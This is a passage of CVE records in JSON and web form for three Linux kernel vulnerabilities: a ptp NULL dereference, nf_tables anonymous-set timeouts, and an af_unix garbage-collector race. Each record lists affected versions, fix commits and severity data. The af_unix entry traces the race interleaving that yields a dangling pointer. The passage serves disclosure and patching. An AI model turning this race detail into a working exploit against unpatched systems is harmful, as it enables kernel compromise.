                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.14",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.3",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nptp: Ensure info-\u003eenable callback is always set\n\nThe ioctl and sysfs handlers unconditionally call the -\u003eenable callback.\nNot all drivers implement that callback, leading to NULL dereferences.\nExample of affected drivers: ptp_s390.c, ptp_vclock.c and ptp_mock.c.\n\nInstead use a dummy callback if no better was specified by the driver."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:07:03.332Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/fdc1e72487781dd7705bcbe30878bee7d5d1f3e8"
        },
        {
          "url": "https://git.kernel.org/stable/c/9df3a9284f39bfd51a9f72a6a165c79e2aa5066b"
        },
        {
          "url": "https://git.kernel.org/stable/c/1334c64a5d1de6666e0c9f984db6745083df1eb4"
        },
        {
          "url": "https://git.kernel.org/stable/c/5d1041c76de656f9f8d5a192218039a9acf9bd00"
        },
        {
          "url": "https://git.kernel.org/stable/c/81846070cba17125a866e8023c01d3465b153339"
        },
        {
          "url": "https://git.kernel.org/stable/c/8441aea46445252df5d2eed6deb6d5246fc24002"
        },
        {
          "url": "https://git.kernel.org/stable/c/755caf4ee1c615ee5717862e427124370f46b1f3"
        },
        {
          "url": "https://git.kernel.org/stable/c/fd53aa40e65f518453115b6f56183b0c201db26b"
        }
      ],
      "title": "ptp: Ensure info-\u003eenable callback is always set",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21814",
    "datePublished": "2025-02-27T20:04:14.089Z",
    "dateReserved": "2024-12-29T08:45:45.774Z",
    "dateUpdated": "2026-05-12T12:03:58.506Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-52620 (GCVE-0-2023-52620)

Vulnerability from cvelistv5 – Published: 2024-03-21 10:43 – Updated: 2026-05-12 11:21

Title

netfilter: nf_tables: disallow timeout for anonymous sets

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: disallow timeout for anonymous sets Never used from userspace, disallow these parameters.

Severity ?

2.5 (Low)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/116b0e8e4673a5faa…
https://git.kernel.org/stable/c/49ce99ae43314d887…
https://git.kernel.org/stable/c/6f3ae02bbb62f151b…
https://git.kernel.org/stable/c/00b19ee0dcc1aef06…
https://git.kernel.org/stable/c/b7be6c737a179a769…
https://git.kernel.org/stable/c/e26d3009efda338f1…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 761da2935d6e18d178582dbdf315a3a458555505 , < 116b0e8e4673a5faa8a739a19b467010c4d3058c (git) Affected: 761da2935d6e18d178582dbdf315a3a458555505 , < 49ce99ae43314d887153e07cec8bb6a647a19268 (git) Affected: 761da2935d6e18d178582dbdf315a3a458555505 , < 6f3ae02bbb62f151b19162d5fdc9fe3d48450323 (git) Affected: 761da2935d6e18d178582dbdf315a3a458555505 , < 00b19ee0dcc1aef06294471ab489bae26d94524e (git) Affected: 761da2935d6e18d178582dbdf315a3a458555505 , < b7be6c737a179a76901c872f6b4c1d00552d9a1b (git) Affected: 761da2935d6e18d178582dbdf315a3a458555505 , < e26d3009efda338f19016df4175f354a9bd0a4ab (git)
Linux	Linux	Affected: 4.1 Unaffected: 0 , < 4.1 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.151 , ≤ 5.15.* (semver) Unaffected: 6.1.81 , ≤ 6.1.* (semver) Unaffected: 6.4 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "LOW",
              "baseScore": 2.5,
              "baseSeverity": "LOW",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-52620",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-26T20:33:31.634112Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-06T20:01:21.818Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T23:03:21.362Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/116b0e8e4673a5faa8a739a19b467010c4d3058c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/49ce99ae43314d887153e07cec8bb6a647a19268"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6f3ae02bbb62f151b19162d5fdc9fe3d48450323"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/00b19ee0dcc1aef06294471ab489bae26d94524e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b7be6c737a179a76901c872f6b4c1d00552d9a1b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e26d3009efda338f19016df4175f354a9bd0a4ab"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:21:42.651Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "116b0e8e4673a5faa8a739a19b467010c4d3058c",
              "status": "affected",
              "version": "761da2935d6e18d178582dbdf315a3a458555505",
              "versionType": "git"
            },
            {
              "lessThan": "49ce99ae43314d887153e07cec8bb6a647a19268",
              "status": "affected",
              "version": "761da2935d6e18d178582dbdf315a3a458555505",
              "versionType": "git"
            },
            {
              "lessThan": "6f3ae02bbb62f151b19162d5fdc9fe3d48450323",
              "status": "affected",
              "version": "761da2935d6e18d178582dbdf315a3a458555505",
              "versionType": "git"
            },
            {
              "lessThan": "00b19ee0dcc1aef06294471ab489bae26d94524e",
              "status": "affected",
              "version": "761da2935d6e18d178582dbdf315a3a458555505",
              "versionType": "git"
            },
            {
              "lessThan": "b7be6c737a179a76901c872f6b4c1d00552d9a1b",
              "status": "affected",
              "version": "761da2935d6e18d178582dbdf315a3a458555505",
              "versionType": "git"
            },
            {
              "lessThan": "e26d3009efda338f19016df4175f354a9bd0a4ab",
              "status": "affected",
              "version": "761da2935d6e18d178582dbdf315a3a458555505",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.1"
            },
            {
              "lessThan": "4.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.151",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.81",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.4",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.151",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.81",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.4",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: disallow timeout for anonymous sets\n\nNever used from userspace, disallow these parameters."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T19:30:30.340Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/116b0e8e4673a5faa8a739a19b467010c4d3058c"
        },
        {
          "url": "https://git.kernel.org/stable/c/49ce99ae43314d887153e07cec8bb6a647a19268"
        },
        {
          "url": "https://git.kernel.org/stable/c/6f3ae02bbb62f151b19162d5fdc9fe3d48450323"
        },
        {
          "url": "https://git.kernel.org/stable/c/00b19ee0dcc1aef06294471ab489bae26d94524e"
        },
        {
          "url": "https://git.kernel.org/stable/c/b7be6c737a179a76901c872f6b4c1d00552d9a1b"
        },
        {
          "url": "https://git.kernel.org/stable/c/e26d3009efda338f19016df4175f354a9bd0a4ab"
        }
      ],
      "title": "netfilter: nf_tables: disallow timeout for anonymous sets",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2023-52620",
    "datePublished": "2024-03-21T10:43:42.854Z",
    "dateReserved": "2024-03-06T09:52:12.090Z",
    "dateUpdated": "2026-05-12T11:21:42.651Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26923 (GCVE-0-2024-26923)

Vulnerability from cvelistv5 – Published: 2024-04-24 21:49 – Updated: 2026-05-12 11:50

Title

af_unix: Fix garbage collector racing against connect()

Summary

In the Linux kernel, the following vulnerability has been resolved: af_unix: Fix garbage collector racing against connect() Garbage collector does not take into account the risk of embryo getting enqueued during the garbage collection. If such embryo has a peer that carries SCM_RIGHTS, two consecutive passes of scan_children() may see a different set of children. Leading to an incorrectly elevated inflight count, and then a dangling pointer within the gc_inflight_list. sockets are AF_UNIX/SOCK_STREAM S is an unconnected socket L is a listening in-flight socket bound to addr, not in fdtable V's fd will be passed via sendmsg(), gets inflight count bumped connect(S, addr) sendmsg(S, [V]); close(V) __unix_gc() ---------------- ------------------------- ----------- NS = unix_create1() skb1 = sock_wmalloc(NS) L = unix_find_other(addr) unix_state_lock(L) unix_peer(S) = NS // V count=1 inflight=0 NS = unix_peer(S) skb2 = sock_alloc() skb_queue_tail(NS, skb2[V]) // V became in-flight // V count=2 inflight=1 close(V) // V count=1 inflight=1 // GC candidate condition met for u in gc_inflight_list: if (total_refs == inflight_refs) add u to gc_candidates // gc_candidates={L, V} for u in gc_candidates: scan_children(u, dec_inflight) // embryo (skb1) was not // reachable from L yet, so V's // inflight remains unchanged __skb_queue_tail(L, skb1) unix_state_unlock(L) for u in gc_candidates: if (u.inflight) scan_children(u, inc_inflight_move_tail) // V count=1 inflight=2 (!) If there is a GC-candidate listening socket, lock/unlock its state. This makes GC wait until the end of any ongoing connect() to that socket. After flipping the lock, a possibly SCM-laden embryo is already enqueued. And if there is another embryo coming, it can not possibly carry SCM_RIGHTS. At this point, unix_inflight() can not happen because unix_gc_lock is already taken. Inflight graph remains unaffected.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/a36ae0ec2353015f0…
https://git.kernel.org/stable/c/343c5372d5e17b306…
https://git.kernel.org/stable/c/2e2a03787f4f0abc0…
https://git.kernel.org/stable/c/e76c2678228f6aec7…
https://git.kernel.org/stable/c/b75722be422c276b6…
https://git.kernel.org/stable/c/507cc232ffe53a352…
https://git.kernel.org/stable/c/dbdf7bec5c9202000…
https://git.kernel.org/stable/c/47d8ac011fe1c9251…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9 , < a36ae0ec2353015f0f6762e59f4c2dbc0c906423 (git) Affected: 1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9 , < 343c5372d5e17b306db5f8f3c895539b06e3177f (git) Affected: 1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9 , < 2e2a03787f4f0abc0072350654ab0ef3324d9db3 (git) Affected: 1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9 , < e76c2678228f6aec74b305ae30c9374cc2f28a51 (git) Affected: 1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9 , < b75722be422c276b699200de90527d01c602ea7c (git) Affected: 1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9 , < 507cc232ffe53a352847893f8177d276c3b532a9 (git) Affected: 1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9 , < dbdf7bec5c920200077d693193f989cb1513f009 (git) Affected: 1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9 , < 47d8ac011fe1c9251070e1bd64cb10b48193ec51 (git)
Linux	Linux	Affected: 2.6.23 Unaffected: 0 , < 2.6.23 (semver) Unaffected: 4.19.314 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.156 , ≤ 5.15.* (semver) Unaffected: 6.1.87 , ≤ 6.1.* (semver) Unaffected: 6.6.28 , ≤ 6.6.* (semver) Unaffected: 6.8.7 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26923",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-02T00:00:00+00:00",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-10T19:34:43.753Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.612Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a36ae0ec2353015f0f6762e59f4c2dbc0c906423"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/343c5372d5e17b306db5f8f3c895539b06e3177f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2e2a03787f4f0abc0072350654ab0ef3324d9db3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e76c2678228f6aec74b305ae30c9374cc2f28a51"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b75722be422c276b699200de90527d01c602ea7c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/507cc232ffe53a352847893f8177d276c3b532a9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/dbdf7bec5c920200077d693193f989cb1513f009"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/47d8ac011fe1c9251070e1bd64cb10b48193ec51"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:40.454Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/unix/garbage.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a36ae0ec2353015f0f6762e59f4c2dbc0c906423",
              "status": "affected",
              "version": "1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9",
              "versionType": "git"
            },
            {
              "lessThan": "343c5372d5e17b306db5f8f3c895539b06e3177f",
              "status": "affected",
              "version": "1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9",
              "versionType": "git"
            },
            {
              "lessThan": "2e2a03787f4f0abc0072350654ab0ef3324d9db3",
              "status": "affected",
              "version": "1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9",
              "versionType": "git"
            },
            {
              "lessThan": "e76c2678228f6aec74b305ae30c9374cc2f28a51",
              "status": "affected",
              "version": "1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9",
              "versionType": "git"
            },
            {
              "lessThan": "b75722be422c276b699200de90527d01c602ea7c",
              "status": "affected",
              "version": "1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9",
              "versionType": "git"
            },
            {
              "lessThan": "507cc232ffe53a352847893f8177d276c3b532a9",
              "status": "affected",
              "version": "1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9",
              "versionType": "git"
            },
            {
              "lessThan": "dbdf7bec5c920200077d693193f989cb1513f009",
              "status": "affected",
              "version": "1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9",
              "versionType": "git"
            },
            {
              "lessThan": "47d8ac011fe1c9251070e1bd64cb10b48193ec51",
              "status": "affected",
              "version": "1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/unix/garbage.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.23"
            },
            {
              "lessThan": "2.6.23",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.314",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.156",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.87",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.28",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.314",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.156",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.87",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.28",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.7",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Fix garbage collector racing against connect()\n\nGarbage collector does not take into account the risk of embryo getting\nenqueued during the garbage collection. If such embryo has a peer that\ncarries SCM_RIGHTS, two consecutive passes of scan_children() may see a\ndifferent set of children. Leading to an incorrectly elevated inflight\ncount, and then a dangling pointer within the gc_inflight_list.\n\nsockets are AF_UNIX/SOCK_STREAM\nS is an unconnected socket\nL is a listening in-flight socket bound to addr, not in fdtable\nV\u0027s fd will be passed via sendmsg(), gets inflight count bumped\n\nconnect(S, addr)\tsendmsg(S, [V]); close(V)\t__unix_gc()\n----------------\t-------------------------\t-----------\n\nNS = unix_create1()\nskb1 = sock_wmalloc(NS)\nL = unix_find_other(addr)\nunix_state_lock(L)\nunix_peer(S) = NS\n\t\t\t// V count=1 inflight=0\n\n \t\t\tNS = unix_peer(S)\n \t\t\tskb2 = sock_alloc()\n\t\t\tskb_queue_tail(NS, skb2[V])\n\n\t\t\t// V became in-flight\n\t\t\t// V count=2 inflight=1\n\n\t\t\tclose(V)\n\n\t\t\t// V count=1 inflight=1\n\t\t\t// GC candidate condition met\n\n\t\t\t\t\t\tfor u in gc_inflight_list:\n\t\t\t\t\t\t  if (total_refs == inflight_refs)\n\t\t\t\t\t\t    add u to gc_candidates\n\n\t\t\t\t\t\t// gc_candidates={L, V}\n\n\t\t\t\t\t\tfor u in gc_candidates:\n\t\t\t\t\t\t  scan_children(u, dec_inflight)\n\n\t\t\t\t\t\t// embryo (skb1) was not\n\t\t\t\t\t\t// reachable from L yet, so V\u0027s\n\t\t\t\t\t\t// inflight remains unchanged\n__skb_queue_tail(L, skb1)\nunix_state_unlock(L)\n\t\t\t\t\t\tfor u in gc_candidates:\n\t\t\t\t\t\t  if (u.inflight)\n\t\t\t\t\t\t    scan_children(u, inc_inflight_move_tail)\n\n\t\t\t\t\t\t// V count=1 inflight=2 (!)\n\nIf there is a GC-candidate listening socket, lock/unlock its state. This\nmakes GC wait until the end of any ongoing connect() to that socket. After\nflipping the lock, a possibly SCM-laden embryo is already enqueued. And if\nthere is another embryo coming, it can not possibly carry SCM_RIGHTS. At\nthis point, unix_inflight() can not happen because unix_gc_lock is 